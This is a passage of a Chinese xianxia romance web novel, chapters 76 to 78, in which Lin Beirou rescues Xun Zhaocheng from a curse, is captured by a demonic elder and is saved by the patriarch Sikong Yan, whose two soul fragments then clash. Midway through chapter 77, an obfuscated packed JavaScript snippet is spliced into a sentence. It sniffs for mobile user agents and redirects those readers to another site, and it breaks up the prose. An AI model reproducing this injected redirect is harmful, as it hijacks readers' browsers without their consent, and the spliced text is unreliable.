三号以为他胜券在握,却没想到荀照乘的灵力强悍到可以击杀附身者。 荀照乘放弃了聚能增幅法器,改用先前的直刀,走过去一刀横斩而过,刀身爆燃起赤橘烈焰,火一样的灵力穿破了阵法,荀照乘突入,刀尖挑起项链,项链飞出阵法,被荀照乘一把抓住。 荀照乘就像拎一条活鱼一样,三两步走回来一把将项链粗暴塞进盒子,关上盒盖,动静彻底消停了。 荀照乘看向林北柔,确认她没事,稍微收拾了东西,背上背包:“走。” 就在这时,林北柔目光落在了荀照乘手上。 荀照乘的手套,破了。 刚才荀照乘的手套接触了装置,装置释出污染,侵蚀了荀照乘的手套,荀照乘抓住项链时,项链锋利的边缘切割到了他的手套,两种作用下,荀照乘的手指暴露了出来。 林北柔清晰地看见,黑色的污染疯狂地朝他指尖汇聚。 那里有一枚极其微小的诅咒,大概是项链留下的,印在他指尖。 “等……”林北柔睁大眼睛。 来不及了,下一刹那,仓库内蛰伏不动的污染疯狂涌向荀照乘,场域残留的污染是惊人的,风暴瞬间碾压了荀照乘,疯狂涌动的能量潮将林北柔一下子吹了出去,掀翻在地。 林北柔顾不得后背生疼,趴在地上向前爬去,黑云淹没了荀照乘,她根本看不见他人在哪里,只能从风暴动向判断他被裹住的位置。 林北柔:“荀少校——”她对通讯器喊,通讯器里全是杂音,荀照乘没有应答。 林北柔捡起了荀照乘落下的直刀,强行催动天赋,刀身闪烁起蓝紫幽光。 林北柔一手横刀在前,另一手单手立掌,指诀变化,闭眼调集元神底层的灵力,这是司空晏教她的。 司空晏说,在不是生命遇到危险的情况下,不要用。 元神开始剧痛,林北柔感觉自己体验到了紧箍咒是什么感觉,她强行忍住,最后一次指诀落下,刀身爆发出冲天的蓝紫光焰,猎猎如旗,一时间,全部污染黑云都停滞了半秒,最外层的污染好像被一股看不见的引力吸引,被迅速撕扯了过来,卷上蓝紫光焰。 接着是第二层,第三层污染,林北柔睁开眼,瞳孔黑魆魆的,唯有虹膜闪烁出蓝紫幻色,黑暗中整个人淹没在不断被吸引过来的污染中,连脸的轮廓都模糊了,只能看见两轮闪电异色光圈惊人燃烧。 林北柔快撑不住了,一把将直刀插进地上,跪在地上双手握紧刀鞘,用自身制造出一个引力点,固定住污染,防止污染被荀照乘指尖的诅咒吸引过去。 荀照乘身上的污染被剥离了九成,露出他原本的身体,他已经半跪在了地上,垂着脑袋,护目镜早已掉落粉碎,他的眼睛在流血,两条血泪顺面罩流下,脑袋微微低垂,就像即将被行刑的罪人。 林北柔看见了他身后出现的幻影,那是他心识世界的反射。 冲天的火光,浓烟滚滚,被困在火海中的绝望,尖叫,哭泣,亲眼目睹家人在火海中窒息,身体被大火吞没,变成残存黑影,像炭柴一样迅速焦炭化,倒下……两个大人的身影,三个幼儿的身影…… 这一幕映入林北柔瞳孔中,和胜身洲被投入炼丹炉的青年兵修重叠。 “少校!醒醒!”林北柔声嘶力竭喊道,再这样下去,荀照乘会被心魔吞没。 下一秒,林北柔最恐惧的预感发生了。 荀照乘身上燃起了第一缕火苗。缓慢又飘曳。如幻梦一般。 心魔幻影开始显迹。 梦魇被摆渡到了现实。 林北柔脑海空白,那一刹那她什么都没有想,冲了过去,撞在了荀照乘身上,一边拍打他身上和面罩上自燃的火苗,一边抽出她腰带上的小刀,拉下自己面罩,舔了下刀刃,直到舌尖见血,抓起荀照乘的手,找到那个被印了诅咒的食指指尖,含进了嘴里,舌尖血刹那染上荀照乘指尖。 林北柔也说不清自己为什么要这么做,就好像有什么记忆觉醒了一样。 诅咒并没有融化,诅咒转移到了林北柔的舌尖。 林北柔感觉自己掉入了天罗地网,看见了无数三号的脸。 “听说,你得到了魏瑕在禁区的记忆,禁区的全域图就在你脑子里,介意我看一看吗?”三号附身望着林北柔笑了。 原来这才是后招。原来这才是他真正的目的。 她必须自愿提供血,这是先决条件。 只有为了救人,她才可能这么做。三号算到了。 血咒提供了短暂的通道,再度连接了林北柔和三号的意识。 三号读取到了林北柔脑子里,他最想要的禁区全域图,漫长的数秒内,他读了三分之一,脸上容光焕发,就像见到了什么吉光片羽。 林北柔想要把大脑关上,却关不掉。 一双带血的手捧起林北柔的脸,一边是粗糙的手套,一边是带茧的手指,凉而烫的嘴唇压上林北柔的,将她舌尖的诅咒渡了过去,连接刹那中断,三号表情终于出现一丝扭曲,林北柔从来没见过这么阴森的脸,那种阴森和司空晏根本不一样,让林北柔不适到了极点。 荀照乘只和林北柔的嘴唇接触了一秒,就像他曾经在水下给她渡气一样,转身就将诅咒吐了出去,不知道他怎么办到的,他似乎用了某种杀敌一万自损八千的办法,剥离了血咒,在血咒落地之前,荀照乘拔枪点射,赤橘灵力弹彻底将血咒打散。 林北柔怔忡看着这一幕,舌尖还是又肿又麻,她靠着荀照乘,后知后觉开始脱力,荀照乘觉察到她身体不稳,手臂揽住她的腰背,两个人还跪在地上,需要恢复体力才能起来,荀照乘另一只手拉低了刚才被他掀上去的面罩下端,重新覆盖住下巴。 黑暗中出现一道出口一般的光亮,漫天游移的污染,刹那迅速散去,一个逆光人影缓缓走了进来,高大的身形投下阴影,林北柔心脏提起,还以为是其他敌人,但当她看清了来人的脸,彻底愣住了。 魏瑕,穿着沾了灰和血的黑色T恤和破烂黑色长裤,光着脚,不对,那是魏瑕吗……? 对方长发潦草地扎成半马尾,脸上全无表情,一进来就直直地盯着林北柔和荀照乘,熟悉的脸上,是林北柔感到陌生的表情,那张脸,曾经被胜身洲的人称为仙姿佚貌,会弁如星。 林北柔全身血液好像封冻了,又好像乍然沸腾。 不对,不是魏瑕。 这个人……这个人…… 他是司空晏啊!!!! 林北柔大脑无法正常运转了都,为什么魏瑕的身体,突然换成了司空晏,难道是祖宗记忆觉醒了吗,那之前那个魏瑕……那个道心本相去哪了?又睡回去了? 为什么他看上去好像徒步走了一万里走到这里来似的? 无数个问题在林北柔小小的大脑里爆炸,感觉要窒息了,视野都晕开了黑斑。 司空晏微微侧着头,直直盯着他们,他那个样子,绝对不正常,林北柔无缘无故,莫名其妙地想起了她听过的一首病娇歌,歌词里男主角去找前女友复合,隔着窗户,看见前女友和她的现男友在接吻,于是他无声走了进去,没有哭,也没有叫,就这样站在门口,定定地盯着他们接吻,直到两个人下一秒看到了他。 林北柔这一刻脑海就像发生了恒星撞击,停止了运转。 她连想象接下去会发生什么的危机预警都丧失了。 荀照乘也觉察到了她身体的僵硬和异常,他看向她,发现她脸色红白交替,眼神微颤瞳孔地震。 说不清为什么,荀照乘放在她腰上的手收紧了些,让她不至于重心不稳,他看向来人,声音嘶哑:“魏瑕?” 魏瑕……司空晏,盯着林北柔,眼球转动,缓缓盯向荀照乘,却不到两秒又回到林北柔脸上,声音比荀照乘还粗糙,就好像一百年没开口讲话了一样:“你,是谁?我好像在哪见过你?” 他每句话都很慢。 他的声音和林北柔记忆中一模一样,阴柔浓郁,宛如昨日,就好像他们从来没有分开过,没有离别。 司空晏的完身和凡身,同时存在于当下,一个正抱着她,一个站在她面前看着她,如同一面镜子的正反面,时间的起始与终结。 77. 第 77 章 胜身洲,魔域,不死城。 这里是欢桀老祖的地盘,可能是担心自己被司空晏闯进老巢拖出来宰了,他一直在闭关。 缩进魔宫最深处,重重禁制,连他的亲传弟子都见不了他一面。 林北柔、无名兵修和武修三人幻化成了内门魔修,又有腰牌,成功潜入了内门弟子居住的地方。 但欢桀老祖一直不出来,是个大问题。 他不死,他手下那条掳走女修当炉鼎的人口贩卖链就会一直存在。 林北柔推开门,提着食盒走进宿舍,左右两边各自坐了两个人,全都抬头看向她。 林北柔:“……轻驰前辈,坠雷前辈,该吃药了。” 他们不说他们的真名,林北柔只好用他们宗门的名字暂时称呼他们。 轻驰君是兵修,坠雷君是武修,按道理,两个人应该比较有共同话题,实际上却是水火不容。 比如现在,两个人各自在单人榻上,却像把对方当空气一样,目光只停留在林北柔脸上,静静的,注意力全在她身上。 林北柔压力山大,顶着两双眼睛,把食盒放在桌上,把里面的两碗热好的汤药端了出来。 一个碗是白瓷的,一个碗是青瓷的。 林北柔:“白的这个是我熬的,青的那个是药童熬的,我的可能会苦一点……” 话音刚落,左右两边各伸出两只手,同时去端白瓷碗,两股力道抵消,白瓷碗纹丝不动。 林北柔:“……??” 她露出黑人问号表情,这些天也习惯了他们的莫名其妙,怕再争抢起来药被打翻,随手敲了其中一个人的手:“好了,坠雷前辈,你喝青的那碗吧,你不是说你不喜欢苦味吗。” 武修皱眉,林北柔都这样说了,他主动松开手。 两个人都喝了药。 林北柔松了口气:“两位前辈喝完药就休息吧,这两天的刺探工作我来完成。” 前段时间,他们无端失去意识,林北柔把他们拖进山洞避雨,守着他们醒来。 兵修是第一个醒的,刚醒就发生了离大谱事件,林北柔被他嘴唇压在唇上时,过于震惊忘了反应,直到旁边醒来的武修出手攻击了兵修,两人在山洞里打了起来。 林北柔鬼使神差,觉得当时吻她的,其实是司空晏。 但这根本解释不通。 到了不死城,林北柔特意找到了一个云游到此的女药修,问他们为什么无缘无故昏迷了。 女药修说是元神不稳,开了个药方,让她按照方子抓药熬药。 林北柔见她医术高明,修为也很高,悄悄让她帮忙看看那两个人的元神什么情况,特别是兵修的。 女药修探查了一番,陷入沉思,又掐指算了半天。 “这两个人的元神心府好生奇怪……”女药修缓缓告诉林北柔,“他们的元神心府,境界之高,连我也看不透,但是他们的体质和修为,和元神心府并不般配,就像是被生生压低了境界一样。” 林北柔心里一个咯噔。 她瞬间想到了一些让她瞳孔地震的可能性。 这日,她在药里面加了一些安神露,喝完药,一炷香后,兵修和武修果然不知不觉睡着了。 林北柔靠近了武修,表情严肃,掀开他的衣服,她打算来验证一番。 武修的躯体精壮和强悍,每条肌肉都很流畅,块垒状的肌块会将薄软的衣料撑起,随着呼吸缓慢起伏着,林北柔把手放在上面感知了一番。 ……不是神伶,是真的活人躯体。 司空晏一手制造的神伶,身体是天材地宝熔炼而成,比活人躯体坚固得多,林北柔天天被神伶伺候着,有时候会像捏玩具一样,提起他们的胳膊和手观察一番,知道区别在哪里。 林北柔又同样去检查了兵修,结果一样。 血管和青筋分布在修长的手上,林北柔按住动脉,能感觉到薄薄的皮肤下,血管里血液在奔流,脉搏强劲跳动着。 但她为什么会觉得兵修亲她的时候,是司空晏呢? 林北柔试探着附身,不带暧昧地把嘴唇压在兵修嘴角。 刹那间,酥麻的痒意从嘴唇扩散开,灵魂被击中的感觉蔓延全身,林北柔猛地撤开了身体,震惊地捂住嘴。 不可能。 她看向了旁边的武修,脸上一片震惊和困惑,起身走了过去,也把嘴唇压在了他唇角。 一样的直击灵魂的感觉,天灵盖发麻,像水流缓缓流遍全身。 林北柔:“……” 你们两个到底和司空晏什么关系! 那种感觉特别奇怪,感觉就像是失忆了换了身份的司空晏,两个版本的司空晏,同时出现在她面前。 林北柔站起来,像预感到了天敌将近的小动物,慢慢的,一步步退到门边,转身走了出去,轻轻关上门。 房间里,兵修还在沉睡,武修却醒了过来,脸上渐渐浮现出红晕,一直红到耳朵和脖子。 他的心法路数不太一样,安神露对他没有多大作用。 武修一脸难以置信,抬起手,粗糙的指腹划过唇角,那边还强烈地余留着刚才的触觉,轻柔得像花瓣,三四月的梨花,落在他唇角,释放出滚烫和酥痒的热度。 ……这是什么意思。 她喜欢他? 否则为什么要趁他睡觉这样——武修闭上眼睛,呼吸起伏,按捺下颤振的思绪,心脏跳动声却震耳欲聋。 如果是这样的话,他是不是要去准备一番,他从来没有遇到过这样的境况,修士向心仪之人求爱,应该先做什么? 要送花吗,还是送一些她喜欢的东西?他都不知道她喜欢什么,不行,她都亲他了,他怎么能让她再主动下去,否则还是不是堂堂武修了! 武修根本不知道林北柔之前也亲了兵修,完全沉浸在遐思中,越想越远,连他和林北柔该怎么生——不想林北柔受苦,应该他来生——都想好了。 另一边,兵修在做梦。 一粒花瓣飘落在唇角,短暂宁谧之后,花瓣边缘蜷曲焦黑,被忽明忽暗的火星吞噬。 丧钟洪流一样响彻天地。无尽灰白余烬飘落。 他梦到了很多死人,被焚烧的村庄,扭曲的黑影,大火,火焰炽盛,席卷一切,幕后的无脸道人。 他在梦境中越陷越深。 胸膛撕裂一般的愤怒、杀意,无法释放的缄默嘶吼,死亡和鲜血的渴求。 林北柔来到外面,举棋不定,不知道是不是要联系阴间祖宗。 跑出来大半年了,祖宗静悄悄,必定在作妖。 他是故意把这两个人放过来的? 这两个人和他什么关系? 但是他们完全没有司空晏的记忆,这是怎么回事! 林北柔脑阔疼,不知不觉就游荡到了安全范围之外。 她抬头望向天空,无意间就被欢桀老祖的神识捕捉到了。 欢桀老祖闭关闭得极其憋屈,神识游荡在外,不放过任何一个角落,就这样发现了伪装成魔修的林北柔。 半盏茶功夫,林北柔就晕头转向掉到了魔宫最深处。 乌漆嘛黑的,只有火把照明,熔岩一样的不规则高台上,盘踞着一个半人半怪物的男子。 他俯下身,仔细端详林北柔,难以抑制痛快,爆发出一阵狂笑:“我还在想该怎么把太乙那个魔孽的小宠物抓来,居然得来全不费工夫,天道果然站在我这边——” 林北柔瑟瑟发抖,强行冷静,做好了最坏的打算。 欢桀老祖笑完,问林北柔:“小耗子,你有什么想说的?” 林北柔:“你要是伤害我,太乙老祖不会放过你的。” 欢桀老祖:“哼。” 他挥了下手,林北柔瞬间像被揉乱了毛的仓鼠,短促地尖叫一声,全身装束变成了十分异域的魔修舞女装。 林北柔目瞪口呆,抱着双臂:“你你想干什么!” 欢桀老祖:“别动。” 他操纵了林北柔,林北柔全身没了力气,只能飘到了他面前,落在了他膝盖上,欢桀老祖抱着林北柔,让水镜录了一段实时画面,点了传输,发送到了太乙天都,云顶峰。 林北柔:“……” 你这是要作大死啊! 欢桀老祖挑起林北柔的下巴,眼神让她胆战心惊:“仔细看,你长得确实很有能耐,像颗水灵灵的仙桃,怪不得司空晏也想咬一口,那个魔孽摒弃了道心本相,也要迷恋上你。” 什么意思?道心本相是什么? 林北柔眼前一闪即逝她曾经在司空晏元神心境中惊鸿一瞥到的那个身影。 话说这个欢桀老祖自己就是魔修,还骂阴间祖宗是魔孽,可见阴间祖宗的名声有多恐怖。 司空晏用阴柔的眼神端详她,林北柔其实并没有觉得不舒服。 但这个欢桀老祖这么看她,林北柔觉得相当不适。 林北柔一脸视死如归:“你就算得到我的身体,也得不到我的心。” 欢桀老祖一阵狂笑,厌恶地说:“你被那个魔孽碰过,本宫不要你这样的货色。” 旋即把林北柔关进了地牢,锁链一左一右牵住她手腕,让她被迫跪在地上,看着特别柔弱可怜,还赏了她一顿鞭子,把她的舞裙打得破破烂烂,露出道道红痕。 林北柔一边庆幸他没有碰自己,一边气得不行,在星天寮,她就是司空晏之下的第一人,没有人敢对她说一句重话,连代掌门远远见过她一次,都赶紧低头行礼。 司空晏虽然经常在榻上因为握力太重,把她手腕脚腕还有腰和其他地方,弄得都是指印和淤青,但从来没有真的伤到过她。 林北柔:“……”你完了,你死了。 宿舍内,武修等了半天不见林北柔回来,出去没找到人,觉察到了不对劲。 他冲回房间猛摇兵修:“别睡了!林北柔失踪了!” 兵修却一动不动,双目紧闭。 武修皱眉探查,发现对方元神心识一片混沌,仿佛是被某种深度梦魇缠住。 无奈之下,武修留了一封信在桌子上,设下防御阵法,锁好房间,单枪匹马去找林北柔了。 司空晏收到了欢桀老祖发来的水镜画面,半晌没动。 猝然,胸口一窒,一口闷血吐了出来。 他缓缓深呼吸,脸上没有多少表情,接着眼帘半阖,唇角阴柔上扬:“……好啊,林北柔,屏蔽了我的感知,被那种脏东西抓到了……等我找到你,看我怎么收拾你。” 林北柔的储物囊里,有个她从宝库找到的隐形法宝,来自上古时代,连司空晏的感知都能屏蔽。 因此司空晏这段时间都感知不到她在哪里。 本以为她在跟他玩捉迷藏,没想到一朝翻车。 司空晏闭上眼,林北柔穿着暴露的舞服,被锁在地牢里,身上都是破破烂烂的鞭痕,脑袋可怜地耷拉下来,这幅画面就像烙印在了他的眼皮上。 他要把不死城灭了,再把欢桀那个东西扒皮抽骨剥髓,元神抽出来做成人干,遍历酷刑,让对方永世不得超生。 外面天象受太乙老祖心境影响,很快雷云罩顶,黑云压城,一层层向天边铺开,宛如归墟侵入了安全海域,直接汹涌没入魔域,悄然变色,成为大片血红的漩涡云。 魔修们纷纷惊惧不已,遁地而逃,就连很多大能也嗖地瞬移回了最远的洞府,龟缩不出。 司空晏披着一件大氅,疾行于云上,眉眼淡漠,丝毫看不出内心翻搅。 恐惧,焦躁,狂怒,阴毒,种种三千烦恼丝,毒液一样啃噬腐蚀他胸腔和脏腑。 ……等他赶到,会不会来不及了,会不会……她已经遭遇不测。 雷奔云谲,暴风迅起,飙举电至,飞沙扬砾。 顷刻间,司空晏降落在了早就空无一人的不死城。 他脸色幽暗,眼睛黑魆魆一片无光,缓缓步入魔宫。 他仅仅是踏出一步,步伐沉在一块地砖上,整个魔宫就以他立足之地为原点,地动山摇一般塌陷。 地块和岩石像纸皮核桃一样被剥离,一层层,飞到半空,地宫被掏空,露出空洞的骨骼。 林北柔:……天亮了? 她抬起头,迷茫的眼神渐变不可置信。 天空到处都是缓缓飘浮的破碎建筑,岩石土块,只有一大片干净的空间,中间立着一个大活祖宗。 他的目光落在她脸上,很难形容他此时的眼神和表情,林北柔无法解读,但她的心脏紧紧地挛缩了一下,然后释放出很多泵新鲜血液,砰砰的一声比一声大。 祖宗直接当空飘落,如同一片银杏叶,向她飘来。 他们的距离只剩五十步不到,一道血红禁制刹那亮起,瞬间隔开了司空晏,并在他手上留下一道烧灼焦痕。 林北柔:“……司空晏!!!” 司空晏抬起手,皮肤愈合如初,他抬眼看向对面,欢桀老祖赫然现身,脑袋一半是人一半是怪物,身体更是奇怪恐怖,他疯狂地笑了起来。 “太乙魔孽!你也有今天!看看拜你所赐,我变成了什么样子!今天,我就要让你尝尝失去最重要存在的滋味!你不是分离了道心本相吗,那好,本宫就成全你!” 欢桀老祖的身体膨胀数倍,朝林北柔抓来,那道血红禁制是他花了数千年潜心炼制,专为司空晏准备的,上面的血取自洪荒之犼,能让最高阶的修士心神紊乱,元神重创。 司空晏分离了道心本相,本就元神不稳,这一下定能让他受重伤。 司空晏在他刚笑第一声时,就化成了一线流星。 他丝毫没听那一大坨脏东西在说什么,心剑剑气横切而过,像一道无形的平面,将欢桀老祖切成了两半,露出血红的截面。 仅刹那,司空晏就穿过了血红禁制,全然不在意后果,林北柔被迫拉直的手臂刹那解脱,锁链自动断开,下一秒就落入一个坚实熟悉的怀抱,安心的温度,舒服的气息,霜雪,松枝,有点沁爽的腊梅,还有灵木焚暖后余炭的硬朗香气。 林北柔和司空晏身体重逢,才发现司空晏体型比她大多少,她居然完完全全被包裹在了他怀里,他单手就捞起了她,让她缩进自己大氅,极地魔兽毛制成的肥厚细绒绲边遮住她脸,绒毛在风中细细颤抖。 “你最近玩得很开心?”司空晏轻柔的呼吸落在林北柔耳畔,灼烫了她的皮肤。 林北柔不敢细想他话里是否别有暗示,捏住司空晏衣襟,赶紧表态一波:“我给你买了好多旅游纪念品,各地风俗土特产,但是我受伤了,我现在好累……” 她并没有装,伤口很疼,也很累,手一直被吊着感觉已经麻木了,可怜兮兮泪眼汪汪地望着司空晏。 咫尺之间,司空晏眼波流转,黑魆魆的眼睛里全是她。 “……我真该将你关起来,就绑在床上,哪也不许去,吃的喝的我都亲自喂你,亲手照料你,这样你就不会惹上麻烦,让自己受伤了。” 司空晏低声说,挑开了她脸上一缕凌乱的发丝,当他看着她时,真的极少眨眼,林北柔有种窒息感,但她什么都没有说,很乖地伸手环住祖宗的脖子。 直觉告诉她,现在的祖宗,别惹,别顶嘴。 司空晏的剑气随心而动,在他和林北柔说话时,早已将欢桀老祖像片九婴一样片成了无数肉脍,背景一片血红,林北柔余光看都不敢看。 司空晏缓缓升空,正要将这片宫殿夷为平地,林北柔突然想起了什么,紧急喊停:“等等!祖宗!还有两个人!” 司空晏:“什么?” 林北柔不知道该怎么说,生怕司空晏把那两个人杀了,又怀疑司空晏在演戏,只好含蓄地说:“路上遇到两个好心帮助我的前辈,他们跟我一起潜入进来,但是身体出了点岔子,他们现在在……” 司空晏当然知道,他的目光内燃起一种东西,让林北柔声音越来越小,不自觉完全噤声。 司空晏:“你的偏好,有时让我很意外。” 林北柔不知道他在说什么,只能眨了眨眼。 司空晏:“不用管他们,他们会没事的。” 云淡风轻的话一锤定音,林北柔的脸刹那间白了。 成功证实了。 林北柔不知道内心什么感觉,喉咙很堵,呼吸不畅:“所以……他们是?” 司空晏:“是我。” 林北柔瞳孔骤缩。 一条红线出现在司空晏上方,接着是第二条,第三条,林北柔尚未反应过来,就被司空晏推了出去,连同他的氅衣,落在远处一个安全空间,司空晏的心剑瞬间展开结界将她裹住。 林北柔毛茸茸地披着氅衣:“司空晏!!!” 那条血红禁制,直到这时,才发动了它真正的作用。 司空晏嘴角弯了弯,压出一个像在对死人说话的冷笑:“雕虫小技。” 不详的预感击中了林北柔,那一刻直觉无比鲜明:“等等,别……” 她的话音太微弱了,司空晏没有听见。 红线铺天盖地,像数不清的无明烦恼丝,将司空晏彻底遮住,心剑剑气竟然斩不断,每一下都会滋生出更多的血红牢笼。 洪荒之犼吃了很多被情根吞噬、飞升失败的大能,这些血红丝线,就是那些大能的残念和怨恨提炼出来的。 最纯粹的六尘五蕴。 司空晏来之前没有计划,连最简单的想法都没有,他就想找到林北柔,顺便提走自己那两个一时兴起炼化出的元神分体,然后再把这地方连人带地皮掀翻。 他没想过自己有朝一日会阴沟翻船。 这是他漫长无聊人生中的意外劫数,林北柔是第一劫,但他主动捕获还圈禁了她,这是第二劫,司空晏并不喜欢。 ……林北柔会受伤吗? 司空晏意识到自己只在意这一点。 他眼帘半阖,依然并未将血红丝线放在眼里,只要他的无上清凉心剑诀在运转, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14038012|126507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道心本相端坐于心境,一时半会的元神干扰,对他来说就像毛毛雨,一会儿就干了。 另一边,正在梦魇的无名兵修,突然睁开了眼睛。 他深棕如蜜糖琥珀的眼睛,此时虚无一片,已分不清梦与现实。 本来,他已快要清醒,下一秒,却看见了漫天血红丝线,他们缠住了他,将他拖入更深一层的梦魇,然后是更深一层……直到他陷入无边的梦魇迷宫。 巨大的炼丹炉,赤橘的火光,白金色的熔炉之心,冰寒刺骨的空气,他无法动弹,无法开口说话,他们把他像炼材一样投入了熔炉,一刹那短暂而永恒的痛苦过后,他的肉身和元神消散成空。 除了一粒青黑色的种子,那是他一念而起,救下了一窝灵兔,那只母兔赠予他的。 来自太古秘境的无名种子,耐住了太乙星天丹炉的高温,将他的元神齑粉一一拉住,牵引回来,绕着种子,就像行星绕着恒星,缓缓旋转,化零为整。 随着消散的元神之心重生,痛苦也回来了。 灼烧焚天的剧痛,让他极度清醒,极度疯狂,元神抵达了前所未有的升阶之境,稍有不慎,即坠入魔道。 血肉之躯重锻,五脏六腑,血管经络,骨髓筋肉,迅猛生长,像刺穿火光的荆棘,组成了不再是凡人的异化之躯。 他的头顶向斜前方生出螺旋一样的龙角,下身化成无数玄麟龙尾,笔直刺出,捅穿了金刚不坏的丹炉,飘曳的丹火落在他皮肤上,缓慢入韵,却不再对他造成灼伤。 异化的龙尾卷住了他曾经的恩人后来背叛他的宗主,卷住了想拿他炼丹的太乙天都掌门,丹火顺龙尾舐上那两个人的躯体,引发了惨嚎,长满棘刺的龙尾将他们身体上全部凸起的部分,一点一点拔起。 炼丹炉碎成了无数块,坚硬的矿石状碎片熔化又重塑,聚合在了兵修的头上,旋转成一张不规则面具,不是戴在他脸上,而是离他头颅有大约半尺多距离,遮住了他的脸。 林北柔看见一个全身飘曳赤橘火焰的人身十二龙尾怪物,出现在了废墟之上。 全身上下唯一没有燃烧的,就是那张不规则漆黑面具。 他很快升空,林北柔惊呆了,随着他的运动轨迹抬起头,从她的视角,刚好看见了面具之下,隐约露出的一点下颔,还有下唇。 和司空晏一模一样。 如此巨大,倾轧一切,仅仅一眼,就悬溺在那恐怖而浩瀚的美丽火身中。 林北柔只能从还保留着原本肤色和体格的上半身认出,那是无名兵修。 林北柔本能转过头,看向原本的阴间祖宗。 只见他身体摇摇欲坠,半跪了下来,手捂住脑袋,眼睛紧闭,似乎在承受巨大折磨。 而面具异化龙身司空晏,平伸出一条手臂,手臂刹那延长成异化的玄麟触足,尖锐挺直,生满棘刺,拖着飘曳尾焰,刺向原本的司空晏。 林北柔在他手臂动之前,就飞到了原身司空晏面前,来不及发出声音,只能挡住原身司空晏。 原身司空晏和异化司空晏同时动了。 原身司空晏忍着元神不稳的折磨,一把将林北柔拉入怀中,用身体为她筑成防线。 异化司空晏停了下来,玄麟触足骤停在离他们仅有三尺的距离。 林北柔:“司空晏……司空晏……”她都不知道自己在喊谁了,只能用祈求的眼神,凝望着异化的司空晏。 武修在这时赶到了,他看着半空中的景象,喊了一声林北柔的名字。 “林北柔!”低磁阔朗,中气十足,但非常担忧。 林北柔低头望向他,武修以为她被那两个人挟持了,吼了声“等着,马上来救你”,甩出了本命法器,一把两面开刃的长陌刀,直接奔来。 林北柔:“……” 林北柔:“等一下!” 她现在明白了一大半,这两个人是司空晏用过去记忆创造的元神分体,是他自己,但只有他过去一段经历的记忆,并不知道他们自己就是司空晏。 兵修是司空晏从凡身到太乙老祖的转折点,武修是什么,林北柔不知道。 显然武修是记忆被隔离得最彻底的一个,他和阴间祖宗根本不像,为人简单坦率,风轻日暖。 林北柔有个模糊的猜想,假如司空晏不曾经历那些折磨,不曾踏上道途,不曾卷入杀戮鲜血和死亡,也没有发展出后期那种阴暗好战的自我,他会长成武修的样子。 少年气会好好地被珍惜,灌溉,直到长成郁郁苍苍的青山。 简直就是晴朗版祖宗。 林北柔想起了她玩过的游戏,终极Boss把自己被黑暗吞噬的内心仅存的一点良知和纯善,分离了出去,化作一个小婴儿,被主角抚养长大。 异化司空晏没有那样好的性子,他此时状若癫狂,已成无面之人,仅仅因为本能,没有伤害林北柔。 晴朗司空晏一撞上去,异化司空晏的棘刺触足就横扫了过去。 晴朗祖宗跳到了粗壮的触足上,纵掠而上,陌刀朝异化司空晏的面具斩了过去。 林北柔睁大眼睛,眸中倒映出时间放慢的一幕。 她有种强烈的直觉,要是这两个元神分体自相残杀,祖宗的本体会遭受无法恢复的重伤。 林北柔本能抬起手,无意间释放出了天赋。 时间真的暂停了。 所有一切都进入了极其缓慢的运动。 林北柔成功将他们拉入了阿赖耶识,底层心识世界。 她不知道具体怎么做,只能抱紧靠在她身上的阴间祖宗,喊他名字,不断释放出一团又一团治愈的白光,在司空晏身上搓来搓去。 林北柔过去一直生活在恐惧中。 害怕幻视幻听,害怕慢性折磨,害怕自己或亲人死亡。 恐惧像跗骨之俎,一句无心之言,一段无意间看到的话,都可以成为判她死刑的征兆。 她超越不了自己的恐惧,但此时此刻,她忽然忘却了自己的恐惧。 因为她全神贯注,想要拯救司空晏。 她想要救一个人。 想要帮助对方。 珍珠般的光晕,柔风甘雨一样温软,进入司空晏体内,修复了他的元神,平息了一切痛楚,像春天三月的嫩柳条,把所有阴霾和不详全部敲打走了。 异化的兵修祖宗,以及快被触足捅穿胸口的武修祖宗,同时感应到了林北柔。 他们逐渐同化成太乙老祖司空晏的脸庞,又渐渐变回了属于他们自己时期的模样。 直到闭上眼睛,失去了意识,沉浸于安静。 林北柔的光芒变弱,周围一切变回现实世界。 砂砾风暴也停了下来,血红丝线也无影无踪,天空的黑红漩涡云散开了,露出水蓝天空,像一轮海眼,天光一束一束洒落。 她跪在地上,上身直立,抱着阴间祖宗,司空晏双手抱着她的后背和腰,整个人重量压在她身上,脑袋放在她肩上,呼吸稳定,垂下的睫毛不再震颤。 旁边躺着另外两个祖宗,已经恢复了他们各自的样子,沉睡不醒。 兵修祖宗变回了人类,异化痕迹消失,武修祖宗完好无损,没有被戳成血窟窿。 林北柔虚脱地松了口气,肩膀被司空晏下巴硌得酸,正想把祖宗放倒,背上和腰上的两只手骤然收紧,仿佛要把她勒进自己体内,林北柔差点踹不过气。 林北柔闷哼:“司空晏,你想杀了我吗……” 司空晏缓缓睁眼,乌黑眼眸第一次倒映出如洗天空:“不要离开我,林北柔。” 林北柔:“……” 她刹那安静,司空晏的语气和声音,和过去都不一样,有什么东西改变了,就在这一瞬间,林北柔不敢去想,她半张开嘴,似乎想回应,但忘了呼吸。 司空晏的手臂越收越紧:“不要离开我。” 他的声音乍一听像暖阳天冲上河边溪石的融冰春水,涓涓破冻,水面的花瓣还打着旋儿。 但在水面下,涌动着让林北柔寒彻骨髓的毒瘴。 不要离开我,如果你离开我,…… 一股说不清道不明的内生压迫感,催动了本来不想说谎的林北柔,她明明是违心,声音却比她想的更加真诚温暖,嘴角甚至灿烂地上扬了一点:“我不会离开你的,司空晏。” 林北柔觉得自己是鬼上身了,她本来不想这么说的。 就像有看不见的力量,一只看不见的大手压在了她的脊背上,她后脑勺感觉到沉重的压力和危机。 话音刚落,刚刚发生改变的东西,再度二次进化,变成了让林北柔不敢直视甚至思考的存在。 那是她和司空晏之间的连接,它向她体内更深的地方生长,肆意探索圈占,直到无法剥离。 就像用言灵完成一道天契,落印成诺。 她不愿去想打破契约,会发生什么,也不愿去想,她真的离开后,司空晏会是什么反应。 他的元神会经历什么。 78. 第 78 章 林北柔睁开眼,熟悉的医护病房天花板。 林北柔:“……” 